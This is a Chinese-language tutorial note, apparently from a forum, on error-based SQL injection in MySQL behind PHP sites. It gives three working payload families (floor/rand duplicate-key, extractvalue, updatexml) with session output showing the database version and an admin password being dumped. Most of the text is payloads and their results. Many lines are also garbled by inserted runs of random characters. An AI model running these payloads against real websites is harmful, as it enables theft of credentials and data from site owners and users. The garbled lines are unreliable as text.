放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。2 L; T/ [$ T5 G! I5 ?9 V( X
实际测试环境:1 r K( |6 n# u- u8 r1 H6 G
9 l" G: `! A' G1 f' [
3 o$ l E5 n6 K( E$ @ ?+ a
mysql> show tables;3 B: y$ c9 l, T& n% a7 A) T& p! k
+----------------++ J! R+ M$ U" F3 e2 e' S( q! N
| Tables_in_test |, J* E+ B& t3 a4 n3 I
+----------------+! g5 @" Z$ t+ R7 J S; S
| admin |
4 h# f' B1 I& `, w7 v| article |
, j k! V4 j; ?6 x' Z0 V5 Z1 R# _! w+----------------+
$ a3 L; G, I( W; T& I ' h! O+ V2 K4 l0 F: i, L
. y( P4 O4 g' z! O# d7 k $ H/ d! g* u) Z# ?" e/ |) r
mysql> describe admin;
/ `- e4 r) L) }. V3 x7 i+ {+-------+------------------+------+-----+---------+----------------+
3 C( T' [( W6 ]% D' j9 R| Field | Type | Null | Key | Default | Extra |
Y. E9 A2 d2 v$ k5 \* s) K5 x+-------+------------------+------+-----+---------+----------------+" w# ]- X. ?& I5 i8 w% ?0 R0 l0 I
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
/ u7 x8 S+ D" h, Q; Y/ p6 {| user | varchar(50) | NO | | NULL | |( ^ }% w9 i# _% n- X
| pass | varchar(50) | NO | | NULL | |
' Y1 m! o( ]3 t8 G0 ~! M+-------+------------------+------+-----+---------+----------------+# o0 T2 ]+ }6 L
( O; @. ?/ g1 G2 Q% o6 ]
! F# q9 X; Y5 y ) h2 y/ ~0 r7 y3 w6 r8 S" J
mysql> describe article;- Y0 T1 ~* \' p: y8 E4 ]' }" y
+---------+------------------+------+-----+---------+----------------+; f9 O9 A0 ^3 r/ T: ^3 b, w4 v
| Field | Type | Null | Key | Default | Extra |
2 x% ?+ W; e1 U( v* ^" ~9 @* a! [+---------+------------------+------+-----+---------+----------------+
* T: H7 o6 w* E) a| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
% a9 G U# Z6 d1 L/ A) ?" ?| title | varchar(50) | NO | | NULL | |
' m" m G1 G( ~) f3 ]2 s1 J3 e| content | varchar(50) | NO | | NULL | |) z5 X# Z7 G2 s) f8 K' A
+---------+------------------+------+-----+---------+----------------+: J) K9 u+ S4 p7 K7 n
1、通过floor报错2 G9 w: K8 O! G. c( ?
可以通过如下一些利用代码
1 x! B: W w# S: O4 o5 ^ ]
, z4 r" \; l& s6 w+ o) n ! M" g6 _! Q8 x1 i: f' n
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
~4 D3 c& x- u0 tfrom information_schema.tables group by x)a);/ ^8 v/ p( @. {* n% D' \5 E
1 j. G6 h- s& x, T# o" _
" U! t" h- k& C2 d# H
and (select count(*) from (select 1 union select null union select !1)x* w$ E! H" ?" J# ]* T. `8 P h
group by concat((select table_name from information_schema.tables limit 1),
6 e A2 ? B9 Jfloor(rand(0)*2)));
% E: F+ a" W( e4 L2 }! J, e举例如下:
4 P# Q9 @! _* m3 I0 {6 y首先进行正常查询:
" H6 r2 L2 N" G1 I$ A 5 s. ] o" ~$ e* d2 p
mysql> select * from article where id = 1;" q4 l1 ?0 b8 T- K- h% p
+----+-------+---------+
j, |- S0 O# e- ~6 R| id | title | content |
5 G, w4 M# T0 P, f: ]+----+-------+---------+# l Z) A+ E, O1 u7 L8 x- A: L
| 1 | test | do it |9 Q+ m: |0 W& E% l0 o. N% Z
+----+-------+---------+
3 Q( P+ ~1 B7 a8 c1 ~假如id输入存在注入的话,可以通过如下语句进行报错。
0 M/ {' U% R) [4 q# @( L- a * V5 `$ [4 @ s1 ~% M
+ h3 [0 d! e0 ^1 j, Q9 O# a- `$ w% tmysql> select * from article where id = 1 and (select 1 from2 X; d/ R7 ?, n) j4 Q, k
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);6 q+ q; N& O5 n7 s' ~8 R
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'+ Z9 I: B- R4 L) ], s) }
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
' k( y; |' C, X7 ]* b例如我们需要查询管理员用户名和密码:
+ P( ~9 N' r R1 W1 p8 Q9 tMethod1:
" r& ^- J9 W* z$ z
" A3 F( B5 C) Z5 ^* G6 A 8 J* c# X# X2 @. e
mysql> select * from article where id = 1 and (select 1 from
6 X! Z0 o6 J7 j: X1 o- V/ U) N(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
! j* P+ a* ]& g3 [" R+ N4 j5 Mfrom information_schema.tables group by x)a);5 t7 x9 z2 A* E
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2 S& Q; ^3 J( `Method2:! Q! [( V) o6 R& W
. T; J3 A/ J; t4 D3 e
4 y2 _2 T( @5 W9 rmysql> select * from article where id = 1 and (select count(*)# [" f2 {& s' y/ ^
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),7 r) O- |6 C* T+ m
floor(rand(0)*2)));
2 f/ K- Q+ m+ A# m% |ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2 g% q% r) B4 f$ W7 b& U, x2、ExtractValue- r5 I+ S8 M0 R) @8 z4 m" I3 p
测试语句如下/ l$ @ C; d1 S; e% v8 E3 j' R5 x
; Z& q1 Y/ x8 X, B. G, ^0 [
6 Y0 ^3 d% q; |! j0 ]and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
8 D+ N& \# E! y. k+ ^+ t实际测试过程- ~& D1 c1 a- F! [) ]3 u
+ @# R- u' d9 x, d! p3 @
& ?4 i) N; C8 Qmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
[+ d/ u0 ?+ U9 l j2 |. z(select pass from admin limit 1)));--, y! h/ J8 B A$ l- u" B! M
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
9 K7 o% \% k* T% U3、UpdateXml
& {% e/ q2 d1 F2 P) L0 U B' X测试语句, E" h( W4 w: G7 {9 {# v; i
5 r9 Q7 t; V$ |4 H9 S; `$ [- ~
+ |6 R) V6 d0 V& B! x$ y# D/ ^. sand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))/ {4 H$ A* d( Z1 I! v& r' D
实际测试过程* ^4 a# P0 {3 [7 g
d4 l7 w: v# y" a4 \ * K ?. x* h5 p5 x; T
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
+ s/ r3 P/ y: u/ n- m(select pass from admin limit 1),0x5e24),1));
0 N6 l9 X+ e8 k# i& hERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'9 V3 _& [* L& r5 H$ U! V+ ?
All, thanks foreign guys.
+ t9 B5 \( t; ?; w( k
; }' F' _ p4 _! u/ p7 @* O( c0 x- I* Z: [# N* F
|